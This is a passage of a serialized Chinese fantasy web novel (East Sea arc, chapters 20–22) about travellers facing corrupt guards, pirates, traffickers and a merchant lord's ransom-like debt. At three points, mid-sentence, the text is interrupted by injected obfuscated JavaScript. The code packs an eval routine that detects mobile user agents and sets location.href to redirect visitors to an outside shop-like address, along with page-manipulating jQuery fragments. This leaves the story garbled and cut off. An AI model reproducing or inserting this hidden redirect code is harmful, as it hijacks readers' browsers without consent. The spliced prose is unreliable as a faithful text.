炎煜朱听不懂他们说什么,只觉得卫官那吊儿郎当的模样甚是讨厌,强撑起来:“老伯,他们是要做什么?” 卫官斜瞥一眼,问老人:“他是青龙国的?” 老人忙躬身答道:“正是,正是!” 卫官点头:“无知者无罪。既然如此,便不追究你的连带责任了,只交齐自己那份罚金便是。” 见他们仍在推搡,炎煜朱心头火起:“这是什么意思?”说罢下床挺身拦住老人,“老伯,他们究竟要为难你什么?” “你怎么起来了?快回堂下坐着!不过是缴些治安费,卫官先生好说话得很……” 炎煜朱闻言,掏出仅剩的两枚金福珠,一把塞给卫官:“你们两个,这些够了吗?拿去找你们的鹿角医生治病去吧!” 卫官虽听不懂他嚷些什么,却乐得收下这金灿灿的珠子,嬉笑道:“这外乡人倒是个阔主,就是蠢得像头驴!”朝田中打了个招呼,扬长而去。 炎煜朱瞧他们戏谑轻蔑的样子,着实可恨,便问田中他们在嘀咕什么。田中不好直译,只能劝慰道不必认这罚金。炎煜朱当即不乐意,就要去赶卫官,田中没能拦下。那卫官又岂是肯松口的主?两边语言不通,田中还妄图在中间搅清这浑水。 炎煜朱气得头晕,给那两卫官一人一记火拳,却仍不解气,随即感到一阵目眩神迷,眼冒金星,瘫倒在地。俩卫官本以为撞上了硬茬,暗自叫苦,挣扎起来见他这般模样,急忙取出枷锁套上,押送往卫城厅。田中还想跟上去申辩,被卫官回头厉声恐吓一番,也只能缩在原地,望着那无辜的外乡人,久久伫立。 20. 东海篇-海垢渔村 却说页目向与稻谷田季出行已久,透过车窗风景判断,已来到一处渔村。车行于山岭之上,村子在谷底一览无余:密密麻麻的棚屋扎堆建造,像是无纸可书写的字;空气中弥漫着腥臭与腐败的气味;灰褐色的人影隐在破旧的木板之间,好似被污黑海水推上岸的死鱼群。 稻谷田季好心告诫:“木向君务必小心,这一带多有刁民拦路,切莫起什么善心,无须理会方能平安度过。” 页目向尚不解季君何意,便觉车速趋缓,似有停下迹象。他刚想探头去看路况,无数只手便猛地拍打车窗,惊得他向后猛撤一步。 “这是什么山兽?” 稻谷田季叹道:“都是些穷疯了的渔民。木向君,你且往车尾去,在下自有办法。”正说着,他拔出竹刀立于身前,低喝一声。一股巨风以其为原点迸发而出,排山倒海般震退了爬车拦路的人群,硬生生开出一条通路。 车继续行驶。页目向看向那些被吹得四仰八叉的人,忍不住道:“罪过,罪过。”恍惚间,他瞥见一抹赤色照进了那片灰褐色地带。“那是?”页目向无意间发问。季君收剑正要入座,闻言也朝远处望了一眼,沉声答道:“以前我还住在村里时,大人们管他们叫‘贵人’。” 过了一阵,又有一辆车路过渔村岭。伏倒的人群再度爬起,一瘸一拐地堵在车前。司机无意相让,竟作势要往前碾,试图逼退人群。木弈轩以为是山匪拦路,正想出手相助,却听司机嘟囔道:“早知这一站非得赔些进去才过得去!”说完便向窗外扔了数颗银福珠。人群顿时齐齐扑向珠子,车前瞬间一空,司机急忙加速驶离。 斯堪曼突然举手示意要下车。见司机不理,他使了个移形术,拉着木弈轩一同下了车。 木弈轩还未及发问,斯堪曼先答道:“见着个熟人,不如去打个招呼?” “什么熟人?” “芃丝。” 木弈轩略显讶异:“在车上瞧见的?你可确定没错?” 斯堪曼点头:“横竖已落后页目向一步,不如去找芃丝问问,或许另有些收获?” 木弈轩本还有些犹豫,见斯堪曼已朝着渔村深处走去,也只好跟上。 与公路上狂放的民风不同,棚屋之间多了几分含蓄与克制。村民们大多沉浸于手中的活计,只愿分出一双眼睛,直勾勾地钉在你身上。木弈轩被盯得心里发怵,小声道:“我并不觉得芃丝是那种会与民同乐、深入采风的艺术家。不如先回去找到向哥要紧。” 斯堪曼笑道:“你看前面那户——门口有人偷窥的那户,芃丝一定在里面。” 木弈轩半信半疑,假装路过朝里瞥了一眼。屋内那衣着鲜艳、容貌倾城的人,不是芃丝又是谁?他对坐着一位身披粗布的美少年,而门口那两人,与其说是偷窥,不如说是盼望——盼望着那抹红也能沾染到自己身上。 芃丝虽在屋内,目光亦在评点屋外行人,凡路过一人,必在心中留下一句外貌的点评。待他与斯堪曼视线相接,正暗叹又得一绝色可用,却后知后觉来者不善,登时冷汗直冒,拉过身旁美少年便要夺后门而逃。 木弈轩取出铃铛左右摇动,催生藤蔓直取芃丝。芃丝故技重施,架起蜃楼步佯攻,实则闪过藤蔓掠至街上,撂下怀中少年,转身欲走。 斯堪曼飞身上前,口念法诀,指间掐出数道玄色戒圈向芃丝套去。芃丝中招,顿觉身负千钧,却挣脱不得,惊慌喊道:“诸位前辈救我!” 刹那间,几名红袍商人破开棚屋,齐向斯堪曼杀来。木弈轩抽出藤鞭拽下一人,斯堪曼则化身夜蝠,数处飞掠。红袍商人们见识到这等手段,明了不是对手,忙施展那方孔钱元的绝活,一同遁走。 木弈轩收铃问道:“这是什么术法?好生诡异,竟像掉进钱眼里,寻也寻不着了。” 斯堪曼亦不明所以,闷不做声。先前被撂下的美少年却走上前来,扑通一声跪下,恳求二人带他离开。 男孩看上去与煜朱年岁相仿。木弈轩见斯堪曼不作反应,便将他扶起:“怎么好端端跪下了?可别是叫我们误会了。” 男孩说的是歌乐语:“先前红袍大人许诺要带我去平京都!我一见二位大人,便知你们更有来头!”他见木弈轩面露狐疑,心知语言不通,便机灵地指了指岭上的道路,又指了指天上的云。 木弈轩仍是不解:“他要我们去哪儿?” 斯堪曼道:“八成将我们当作另一个芃丝了。” “什么意思?” “人贩子。” 木弈轩顿感悚然。斯堪曼却又道:“亦或是星探一类。性质相仿,只不过多了些‘不情不愿的自愿’罢了。” “你从何得知?” “容貌姣好的落魄少年,与达官贵人的故事,我听得可不少。有空说几个给你听便是。” “若真要带他上路,怕是不太现实。我们尚且不知去向,又如何搭救得了他?” “不必理会,先回大路,看能否搭上下一辆车。” 留守棚屋的村民皆躲在角落偷看,不敢上前阻拦。木弈轩见他们受了波及,屋舍破败,人人带伤,心生不忍,便摇铃再度唤出根木,粗略修补各处建筑;又从袋中取出几丸丹药揉碎,将粉末洒向空中,念动咒诀。绿色荧光如流萤般漫入众人身体,伤口处传来酥痒之感,正以肉眼可见的速度愈合。 她十分享受这善举,笑盈盈地欲唤斯堪曼一同乘车。未及出村,那些刚恢复的村民竟纷纷追来,抄起鱼叉、扫帚,欲将她驱逐。 木弈轩愠怒:“这是什么道理?” 斯堪曼鄙夷地扫视着那些双目圆瞪、却面带惧色的村民。 村民们见木弈轩反而停步,又吵嚷起来,最终推出一人上前交涉。那人喊道:“你的!快快地走!” 木弈轩攥紧拳头,转身便往岭上走去。斯堪曼冷哼一声,昂首离去。 二人在站台候了片刻。待木弈轩气渐消了,她忽然想到一事:“车会在这站停吗?” “便是不停,我也有法子上去。” 正说着,一位身着工装的大爷出现在站台,在告示栏贴了张新告示,不一会儿便离开了。木弈轩闲来无事,凑上前去看是什么内容。只见“通缉”两个大字赫然在目,旁边竟印着自己的画像。她难以置信地惊呼:“这是什么时候的事!” 斯堪曼皱眉道:“怪不得他们要赶你走。只是,为何单放你的画像?” “对呀!曼哥你才更该是他们的眼中钉……”见斯堪曼白了她一眼,木弈轩讪讪地收了声。 “想必是红袍在背后运作,不愧是传媒大亨。” “那怎么办?公车肯定不能坐了。” “这有什么?这告示还新鲜得很,难道担心车上已有人读过并认出你?等到了平京都,只要别招摇过市,没人会留意你。” 木弈轩虽仍有些疑虑,但听斯堪曼如此说,也不便再多言。 花开两朵,各表一枝。炎煜朱再度清醒,已身处牢狱。昏暗逼仄的室内除了一张草铺,几乎别无他物,谷草隐隐散发着一股霉味。 “卫官呢!”炎煜朱怒拍牢门呼喊,立时引来狱卒呵斥。那狱卒见又是这好生事的异邦人,扭头便走。 “你们吃了熊心豹子胆!给我回来!”他又嚷了一阵,见投诉无门,只得悻悻住口,思索对策。 值班房内,另一名狱卒笑道:“那小子真把卫城厅当自己家了?” 刚巡查回来的狱卒骂道:“莫说不是他家,就算是他家,也是我们做主!” “可他是青龙籍,你说……” “照老规矩办。我倒盼着来个金发碧眼的才好。今晚子时红袍大人会来例行公事,都仔细守着,莫坏了规矩!” 炎煜朱心中盘算:“这牢门确实结实,硬闯不易,却不知要关到几时?若时日恰当,正好免去我风餐露宿。等向哥他们寻来,一番解释便能赎我出去;最不济遭遣返,也能省下一笔路费。”想到此处,倒也心安理得起来。 时至午夜,牢狱深处传来一道开闸声,随即是窸窣脚步声。几名红袍人举着蜡烛,悄步巡过每间牢房,那梦中的人便坠入了更深沉的梦境。 炎煜朱只觉这一觉睡得格外酣畅,再睁眼时,周遭景象又变:几十张并排的上下铺罗列于一间巨室之中,床距狭窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572397|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仅容两人侧身通行。随着众人陆续醒来,人声愈发嘈杂。几名红袍人举着铜锣锵锵敲响,震耳的金鸣盖过喧哗,霎时惊醒了所有人。 为首的身形一动,高声喊道:“你们都是罪人!你们要戴罪修行!”唬得众人面面相觑。 有人嘴快,喉头刚滚出一声“为……”,红袍一指他,身旁两名打手当即上前将其架出。红袍抬手便是一记响亮耳光,厉声道:“规矩!”这一声落下,所有目光尽数垂下,无人再敢直视。 “你们要修习艺术、传承艺术、发扬艺术!”红袍商人的声音在寂静中回荡。有了前车之鉴,即便他前言不搭后语,神叨叨呼着些不知所谓的话,也无人敢贸然接茬,只屏息等着他下文。 “我们经过深思熟虑、多方考究,已为尔等备下最适宜的修习内容。因材施教方是上道,所有人的教材,皆是独一无二!”他目光缓缓扫过一张张惶惑的脸,“勤恳修习,尔等才有达成救赎之日!” 炎煜朱压根听不懂他们在呜哇些什么,一直尝试调用天目神通,却屡屡失灵,心头不由暗骂:“总爱搞些上不了台面的手脚,我倒要瞧瞧,你们又在唱什么大戏!” 红袍按部就班地安排着,先分组,后评测。待炎煜朱被引至跟前,红袍上下打量,眼中掠过一丝满意,点头道:“门面倒是周正。来,开口试试。”见炎煜朱充耳不闻,毫无反应。疑道:“青龙国人?”于是又派上翻译让他唱歌。 炎煜朱心头烦躁,索性扯着嗓子胡乱嘶吼了一通。 红袍听得眉头紧锁,当即摆手打断,语气带着不容置疑的点评:“罢了,以后不必开口了,对嘴型便是。再让他跟着做几个动作瞧瞧。” 翻译员又教他模仿几个基础舞步。炎煜朱心中不耐,也只是敷衍了事地晃了两下。 “可惜了这副好皮囊,”红袍面露嫌弃,下了定论,“往后便去演戏吧。”说罢,他挑了本手册塞给炎煜朱,便不再多看一眼,扬声道:“下一个!”立刻有人被引着上前,接受新一轮的“验身”。 炎煜朱随手翻开那本厚册,见竟是青龙文字,倒是贴心。前十几页密密麻麻排着每日训练的安排,夹杂着诸多饮食忌口;后面则全是人物设定档案,名字取得洋气,叫“佛朗明戈”。从家世背景到生活癖好,无不细致描摹,更有诸多细节演绎指导。 他正疑惑怎么才入门就发剧本,一旁的翻译凑过来低声道:“这可是你今后要演的角色,一丝也错不得,万万不可穿帮!” 听这一说,炎煜朱也郑重起来,低头细读几页。谁知越读越不对劲,越看越恼——这哪里是什么角色剧本?分明是教人如何高价卖弄皮肉的下流学问! 他心头火起,只暗暗立誓:“先容你们猖狂,待我休养几天,定要去报官!” 此处按下不表。话说炎煜朱那两堂兄弟,早先假着要带他回府的名头溜了出来,在外游玩了好几日。眼见盘缠将尽,才想起正事未了,不免相顾忧心。 “哥,要我说不如就此回去,"石澜沧试探道,"只回主事说煜朱早先已离开秦淮,不知去向,我们没能赶上。” 岩嶙抬手给了他一个头栗:“那必得罚训三月!你愿意受就自己回去复命。” 澜沧吃痛捂头:“那总不能指着空钱包喝西北风吧?” “依我说找个零工度日。等主事发觉不对,派人来寻时,再装作已经十分尽力的样子去碰头。如此既免罚,还能在外多逍遥些时日。” 澜沧喜道:“真是好办法!” 二人遂在秦淮城中转悠,恰遇一米铺招挑夫。这活计正合卖力气,又得工钱日结,俱各称心。他二人在家练就一身力气,一担能挑双倍米袋,往来如风。那米铺掌柜本是个和善人,见他二人这般勤勉,越发青眼相待;众伙计也都是淳朴性子,相处甚欢。这般差事,着实难得。 当差未及两日,掌柜忽私下寻他二人说话。原是要在东海举办什么要紧大会,人手短缺,需从各分店抽调人手帮衬。掌柜见他二人像是见过世面的,又一身力气,便决意派他们前去充数。他二人难得出次远门,自然高兴应允。冥冥中,或许真有缘分安排。 21. 东海篇-瞒天过海 再说页目向继续乘车北上,忽觉窗外波光滟滟,季君提醒道:“该下车换乘了。” “目向君,我们已经到达滨海津。前方是海路,此地海盗颇为兴盛。我们乘渔船渡海,反倒安稳些。海盗们不会为穷酸的小渔船浪费力气的。” 页目向也不识路,自然一切都依稻谷田季安排。他寻了位港中渔夫,商量好价钱,这便要出海。 页目向望着有些破旧的渔船,忍不住问:“季君,这船确实防海盗,但万一遇上风雨不也危险?” 稻谷田季笑道:“目向君应该少有到海上,今日一定是万里无云的好天气!” 页目向听他如此保证也不好说什么。 却说那东海国再往东去,便是一望无际的浩瀚大洋。洋面之上,岛屿星罗棋布,数以万计,故号称“万岛之州”。只因近海而田地稀少,万岛原住民渐将眼光投向外界,从一开始的海商,逐渐变为商盗结合之流。周遭受其侵害的国家,又因其本土偏远,难以兴师远征,一步步放任至今,竟已成海上顽疾。 原先,万岛各路海盗皆是独自为战,彼此间互有杀伐,总体规模倒受限制。不料近年来,天原兵部致力于根除此患,反倒让他们同仇敌忾,拧成一股。其内部秩序严明、体制完备,俨然是第二个世界政府君临大海。 诸岛中以蛙、船、酒、公牛、葡萄五岛面积最大,海盗势力也最为鼎盛。东海国距酒岛最近,常有不肖之徒打着酒岛旗帜,四处侵扰沿海客商。好巧不巧,页目向此番正遇上了他们。 驶来的是一艘标准的三桅帆船,船帆上画着大酒桶的纹样,海盗头子是个中年人,样貌平平无奇,混在人群里,大抵像个寻常的渔民或农夫。他原本对周遭的渔船并无兴趣,可近来商船都宁可绕行西边的远路,也不愿再途经这片海域,他已经许多天没有渔获了。 “活动活动筋骨。”他如此想着,便下令靠向那艘渔船。 页目向见那船不怀好意地靠过来,正犹豫是否动手,稻谷田季却在他身旁低声道:“目向君,请务必护好渔夫阿伯和献礼!”话音未落,他已使出一记风行,轻巧踏上了海盗船的甲板。 页目向听得远处传来兵刃相接的脆响,担心对方人多势众,稻谷田季应付不来,正要放下宝盒前去助阵。此时一个念头如电光石火般窜入脑海:自己为何不能调换这盒中之物? 页目向见渔夫背对着自己,又瞥了一眼帆船上的动静,脑子仍在犹豫,手却先打开宝盒,悄悄将黄玉冠收进乾坤袋,复将太阳宝石换入盒中。随即盖上盒盖紧紧抱在怀里。恰在此时,一枚石弹擦身而过打入水中,激起的浪头猛推渔船摇晃不止。他还未及平复心绪,一个踉跄险些跌入海里。 渔夫见势不妙,就要推桨逃离。页目向心念微动,使出白驹飞身跃上大船。 甫一登船,便见稻谷田季舞着竹刀迎敌。其刀法变幻莫测,似有多臂加身。竹刀由一生二,二再生三,以致成百上千,挑进那十八般武器中。哪怕对方人多势重,他依旧挥洒自如,游刃有余。 海盗们吃瘪挂彩,心下怯了,都不敢争先,只围伏在四周,圈出一块阵来。有机灵的趁这空档,悄悄溜下炮板去取火器。那海盗头子心知踢上铁板,暗自叫苦,却也不甘心就此拉下脸来求和,只得提着一柄大斧,大声嚷嚷地闯入阵中,妄图凭着声响给自己多添几分力气。 海盗头子高举大斧猛劈而下,稻谷田季侧身避过,试探数招,见对方空有蛮力,便振刀一弹,在他脸上留下一道红痕。海盗吃痛捂脸大叫,稻谷田季以为惩戒已足,正要开口讲理,几名水手却慌忙端出火枪炮铳,眼看就要击发。 页目向见稻谷田季未察身后变局,当即挥出两记光斩,替他挡下来势。他回头见页目向携宝盒登船,急道:“目向君,您怎么……?” 海盗趁他分心,交握手斧,从左横劈,稻谷田季只得单手钳住斧柄。那头目高声呼哨发令,水手们闻声一拥而上。他步势下沉,略松劲道,趁对方踉跄之际,一把抓住其肩头稳住下盘,随即翻身脱出钳制。 页目向心中暗叹:“连家臣近卫都能有军中校尉的身手,这五光果然不可小觑!”他将宝盒置于一旁,纵身加入战局。凡他光指所至,海盗无不筋软神疲,不过片刻,众人已尽数瘫倒甲板。 稻谷田季收起竹刀,恳切求道:“请向君务必信任在下,在下必不辱使命!” 页目向心中有愧,低声道:“万分抱歉……我确是担忧你的安危。常言道人贵物轻,若你真因这宝物有何闪失,我心中实在难安。” 季君闻言大为感动:“多谢向君关照!只是大宫寺大人于在下恩重如山,若辜负他所托,在下万死难辞其咎!”页目听闻至此,心中愧疚更胜三分,一时不敢再劝。季君却神采奕奕,续道:“向君放心,昔日大宫寺大人曾带在下前往江户府参谒幕府狩,在下亦曾拔得头筹。对付这些寻常人物,全然不足为惧!” 页目向对“幕府狩”确有所闻,据他先前所知,此乃东海贵族甄选幕僚的重要盛会。说起这幕府狩,便不得不提及草间八桥与常青五鸟两大家族。彼时大创革新之火尚未燃及东海,八桥号令东海三军,五鸟世袭本国首相。两族掌权期间明争暗斗,又因势力版图各异,皆力促当时的皇帝迁都至己方辖境——八桥于江户府兴办“幕府狩”,五鸟则在大名城设宴“流川会”,皆旨在网罗当世豪杰,扩充自家阵营。 大创革新后,六部机关下设,莫说两族,连那皇帝也遭罢黜,昔日权柄尽失,早已不复当年风光。然而一年一度的“幕府狩”却作为传统延续下来,至今更被尊为东海国第一武赛!如此看来,稻谷田季能在此等武赛中夺魁,果真实力非凡。而那位大宫寺,正是当代“草间八桥”。 稻谷田季攀上桅杆,观望四周海上,哪还见得着渔夫的影子,不由气道:“阿伯真不守信!” “先前海盗曾发炮轰击,他多半是惊惧避祸去了。不如就借这海盗船继续航行?” “不行的,这船帆上有酒桶标志,若靠港被海军注意,就无处解释去。”稻谷田季把目光收回船上,喜道:“目向君,船舷边悬着条小舟!我们乘舟渡海吧!” 页目向点头应允,又指向横七竖八瘫倒一地的海盗,问道:“那把他们就留在船上?” 稻谷田季跳下桅杆,答道:“大洋上的海盗和田里的杂草一样,是除不干净的,您不必管他们。” 二人遂乘小舟向北而行。凭着季君御风助力,舟行如箭,约莫驶出百里之遥,待得上岸时,已是午夜时分。 稻谷田季道:“大宫寺大人白日都在总会办公,我们不便打扰。他夜里歇息得也晚,不如现在就去府上献礼?” 页目向疑惑道:“大宫寺大人?我原以为你说的是……” 稻谷田季笑道:“两位都是大宫寺大人。京都这位,正是坂奈城那位大人的兄长。” 页目向这才后知后觉,言语间有些无措:“兄长?献礼?大宫寺是?你是?” 稻谷田季解释:“大宫寺乃是梧桐凤凰家主。在下侍奉的是坂奈城的大人,自然也见过京都的大人。来时大人特意嘱咐,到了京都,需挑京都大人得空时前去献礼。” 页目向疑道:“你确定子夜是空闲时候?” “大宫寺大人休息的晚,也正是这个时候才有空处理些闲事。” 页目向越发有些后怕,仍得点头应允。他抬头望去,最亮眼的是京都铁塔,其余高楼如众星拱月般俯势沉降。季君所领之路与闹市方向相背,沿途景致已渐模糊,唯记得的是一面骑龙的白墙。白墙正中是一扇对开的垂花门亭,稻谷田季向此处的看守出示了腰牌才得以进入。 园内假山松柏错落,碎石绿藻相间,一涓细流静淌其中,水里多是三色锦鲤与膏蟹。二人逆着流水方向前行约有一刻,一座石制瓦殿群赫然立于眼前——页目向心知,这必是大宫寺府邸了。 尚未抵至阶前,已有两名侍女上前接待,引二人绕过前院,至侧面客室稍候。页目向沿途打量,见殿内廊庑呈回字结构,中设天井采光汇水,室内多以金器玉石装点,一路行来,所遇仆从甚众,皆低眉敛目、屏息静气。 二人等了许久,方有另两名侍从来引。在那回廊间几经转折,终至一办公厅外。侍从叩门后退到两旁,里面的人应声拉开障子门。稻谷田季还没进去就低头跪下行礼,页目向也只好跟着拘谨行礼,等候指示。 朝里望去,正对障子窗的是一张太师椅与黑檀大桌。桌后端坐一位身着白袍、别着梧桐凤凰胸针的男子,正是大宫寺本人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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页目向气极反笑:“这是关我们一人一年一千金福珠的高价?” 大宫寺抬眼看向页目向:“这价钱不算低。” 页目向冷冷道:“我不觉得你说的那顶金冠,能值得上十万金福珠。” 大宫寺打量着这位官家少爷笑问:“那依阁下高见该怎么算这笔账?” “这充其量是失职,并非私吞公产,为何要我们承担全责?当务之急应是报官追查。再说那颗太阳石您既已收下,也该抵扣部分差价。至于金冠价格,我虽非行家,却也知''公允价''之说。十万金福珠的定价,未免太过草率。” 稻谷田季小心翼翼地观察大宫寺的反应,却不敢拦着页目向,只生怕这十万的债项真落到自己头上。 大宫寺从容道:“我家主营典当与市券,阁下可信不过这个估价?报官一事某也赞同,但若最终追查无果......梧桐家是绝不会吃这个亏的。” 页目向尚在思索对策,见稻谷田季以期盼的眼神望着自己,只好道:“若追查不回,我赔上就是,你等我修书一封通知家里人,让他们准备付款就是。” 大宫寺含笑:“那便静候阁下佳音。”说罢吩咐左右侍从备好书信工具。 页目向提笔思索,写道: 爷爷安, 孙儿出门寻物已有一旬,现失物均已收全。本不想引人注目迅速返乡,奈何落入东海国遭逢奸商。弈轩、煜朱以及您派来的斯堪曼与我在坂奈城外失散,消息暂时不明。孙儿则被扣于平城京梧桐凤凰商帮大宫寺宅,宅主人讹我十万金福珠,孙儿实在无法,所以才求助您。此行实在辜负您的期望,孙儿先向您赔罪,早日盼复。 页目向 页目向将拟好的信塞进信封,又写好落款地址,问道:“最近的驿站在哪?” “阁下写好交给下人便是。” 侍从带走信封后,页目向问道:“书信往来动辄半月,此期间梧桐帮对我有何安排?” “尚不知阁下家中是否真能偿还。梧桐典当行恰有几个柜员空缺,阁下不如早些上工,也免得万一...日后尴尬。” “尴不尴尬日后再见分晓。包食宿么?” “职员福利,理应包揽。” 页目向怒气稍平,点头便要告辞。大宫寺却唤住他,递来一纸聘书:“这期间让季君与你同行,也好教你些本地的规矩。” 页目向接过,冷哼道:“多谢好意。” 22. 东海篇-蛰伏 稻谷田季如释重负,深鞠一躬退出房间,快步跟上页目向,二人一同沿回廊向外走去。待走出大宫寺府宅,他终于忍不住开口:“目向君,你刚才……太放肆了!” 页目向既已揽下全部责任,闻言停下脚步,想听他如何说明。 “但还是多谢你!”稻谷田季话锋一转,语气诚挚,“只是目向君家里当真无碍吗?要不然我们还是去海上……” 页目向听他此言,心头火气渐消,无奈笑道:“我虽然不清楚家中具体经济境况,但此事应当无妨。倒是你,大宫寺一家可是握着你什么把柄?” 稻谷田季闻言一怔:“目向君何出此言?大宫寺大人于我有恩,怎么会有什么把柄……” “我认识的朋友里,家中仆役不下三百的也有,但像这般三步一伏、五步一跪的阵仗,确实是头一回见。何况他刚才漫天要价,你却不加辩驳,反而甘心伏地求情,未免太失血性。” 稻谷田季默然不语。页目向以为触及他什么难言之隐,忙岔开话题:“职工宿舍该不会就在这园子里吧?” 稻谷田季低声答道:“在市区民居之中,离总会较近,方便通勤。” 页目向自嘲道:“那得快些过去,这聘书上还要求明天一早就要到岗呢!” 梧桐凤凰的职工宿舍就在市中心高楼群的一侧,与其他民居混居,连排成栋,巷陌深窄,终日难见日月。稻谷田季唤醒宿管说明来意。宿管面色憔悴,眼神空洞,仍强打精神引二人上楼寻房。 宿管打着哈欠道:“楼层高些好,多少能照进点阳光。底下几层的衣服都是捂干的,潮气重。” 稻谷田季礼貌谢道:“有劳阿伯费心。” “陆贰陆,就这间吧,刚空出来可以直接住。”宿管简单交待完作息规定,便转身下楼了。 这是间十平左右的双人寝室,内置一张上下铺、两套桌椅。窗户外沿悬着根晾衣绳,角落里还隔出个小巧的洗浴间。 页目向困过了劲反倒睡不着,翻了两下身,晃醒了稻谷田季。 “目向君怎么还不睡?” “你还没睡啊?我也不知怎的突然来了精神。没几个时辰就要天亮了,快睡吧。” “目向君一定来自了不得的世家吧?” 页目向探头朝下铺看去,正好对上他投来的目光:“怎么突然这样问?” “大宫寺大人是梧桐凤凰家的主人,放眼东海国他都是一言九鼎的存在,您却丝毫没有惧意,能与他据理力争。连十万金福珠的天价也能向家里人支取,一定很不一般!” 页目向尴尬一笑:“不过是先唬住他罢了。十万金福珠未必凑得齐,但我们定能平安无事。” 稻谷田季撑起身子急道:“目向君你万万不可行险!若是被识破,大宫寺大人的手段......” 页目向不便明说,只得宽慰:“你放心好了。” 稻谷田季忽然坐直:“也是,您定然是有所依仗的。” 页目向见他情绪低落,也起身坐直:“你可是有什么心事?” “您先前问我是否有什么把柄落在大宫寺大人手中......我想,确实可以这么说。” “莫非就是你说的那份恩情?” 季君苦笑道:“那您还记得先前路过的那个小渔村吗?我也出生在那样的地方,那里的日子可太苦了,是大宫寺大人带我到坂奈城的,说什么我都不愿意再回去了。” 页目向回忆先前经历,了然道:“你先前说的贵人,就是带你们出村的人?” “村里人都盼着贵人来。” “可是靠山吃山,靠水吃水,临着大海凭着渔获,怎么也能糊口,怎么会落得那般田地?” 稻谷田季避而不答,反问:“目向君可知道五光?” 页目向皱眉道:“名声在外,自然知道。” “东海国是五光的大渔场,其余人是饵料、是鱼苗、是钩是网,但就不是人。水产在渔民手里是不值钱的。芒尖月有专人日日到渔民家里收购,专挑每户渔获里最鲜最大的几尾入舱运走。而一尾上好的鲜鱼,只能换取一枚银币。一户人家,一月收入不过一两百银,却得养活全家六七口人。” “那余下的渔获,不也可以卖给其他人,或是留给自家果腹?” “都堆着。无人收购,自己吃。吃不完,就只能任其发臭,再倒回海里喂鱼。” “似他这般挑拣,哪能够供应城里那么多人?” “他运走的渔获,也非直接售卖,要先送进工厂加工。转手再卖,便是一金一尾。物价如此高昂,城里的需求自然就少了。” “城里人就不会到渔村直接采购?” “当然是不准的。东海国有立法,买卖双方须有一方持有经商许可证方可交易。渔民是这样,农夫是这样,城里的工人也是这样。” 页目向听着恼火,怒道:“什么霸王条例!这不就是逼着所有买卖都必须经由五光吗?你们怎么就甘心受着?” 稻谷田季一时语塞,不知如何作答。 “那物价如此昂贵,城里的人就没有意见?” “五光会给他们开更高的工钱。虽然生活物资贫瘠了些,但比起我们,总归还算体面。” “这五光怎就如此胆大妄为?政府难道就不管不顾吗?” “东海国奉行‘商而优则仕’,政客大都是大商人推上去的,就连坂奈城的城尹,见了大宫寺大人也要尊称一声家主。” 页目向闻言颇感惊讶,问:“五光都是做什么发家的?” “梧桐家开钱庄,芒家掌粮食,樱家做传媒,柳家控交通,松家则把持着能源产业。” “这些行当都该国营才对,怎敢尽数交给私人?怪不得他们无法无天!” “国营也未必就好。东海国除五光外,猪鹿蝶三家也颇得势。他们是早年的政治勋贵,这几年借着国营的噱头揽了不少好处。说是国营,骨子里仍是私人经营公家的生意,处处算计。大宫寺大人也为他们颁布的那道法令恼火了许久。好在村里人横竖也上不起学、就不了医、更买不起地,倒也没影响到我们什么。” 页目向听他说起那三道法令的来龙去脉,只觉骇人听闻。两人在床铺上各自坐着,许久未再开腔。 半晌,季君忽地朝里翻过身去,嘟囔一句:“这个国家,烂透了。” 话说木弈轩与斯堪曼行至滨海津,正遇上收海期,无法北渡,便决定在此歇息一晚,待次日清晨再出发。 木弈轩心中焦虑,问道:“若是投宿时被人认出,可如何是好?” 斯堪曼觉得她杞人忧天,一时心生顽皮,想要捉弄她一下,便反问:“你身上可带着眉黛?” 木弈轩疑惑道:“是带着。你要它何用?” “你在下巴和鼻翼旁各点一颗痣,保管没人能认出你来。” 木弈轩将信将疑:“这……能行吗?仅凭两颗痣?” “你不点,原本也没几个人认得你;点了,就更没人认得出了。” 木弈轩虽仍是半信半疑,却果真取出眉黛,在脸上点好了两颗痣。“如何?” 斯堪曼装模作样地端详片刻,点头道:“已然判若两人了。” 她又跟着斯堪曼寻了处民宿办理入住。见那主人神色如常,确实毫无反应,她这才暗自松了口气。就寝之前,斯堪曼取出节气令,握在手中默念法诀,只见那冰晶莹莹生光,所指的方向,确为平城京无疑。 次日一早,二人便乘船北上,前往平城京。 却说页目向进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯堪曼又把昨日在海边渔村的事告诉给他。页目向玩笑道:“点两颗痣?你倒不如让她穿件长袍、戴起兜帽,要能是正五色,更是入乡随俗。不过照理说,你不更该榜上有名才对?” 斯堪曼白他一眼:“这说明那发榜之人考量的东西,与你我所想根本不同。” “我倒是想起一事,季君说......”正这时储藏室外突然传来人声,页目向作噤声手势要斯堪曼快走,斯堪曼会意,化作一只夜蝠从天窗遁去了。 自二人会面后,斯堪曼便折返坂奈城寻炎煜朱去了,临行前将页目向的叮嘱带给了木弈轩。木弈轩果真听从了建议,终日戴着兜帽在平城京隐居,仍旧深居简出。 页目向在典当行勤勉学艺。他本就天资聪颖,一点就通,掌柜又认准他是大宫寺大人钦点的人物,盼他日后回去能美言几句,便决意倾囊相授。掌柜欲让他上柜待客,页目向本想以言语不通推辞,不料掌柜笑道:“往来宾客多是五光商人,鲜有不通青龙语者。” 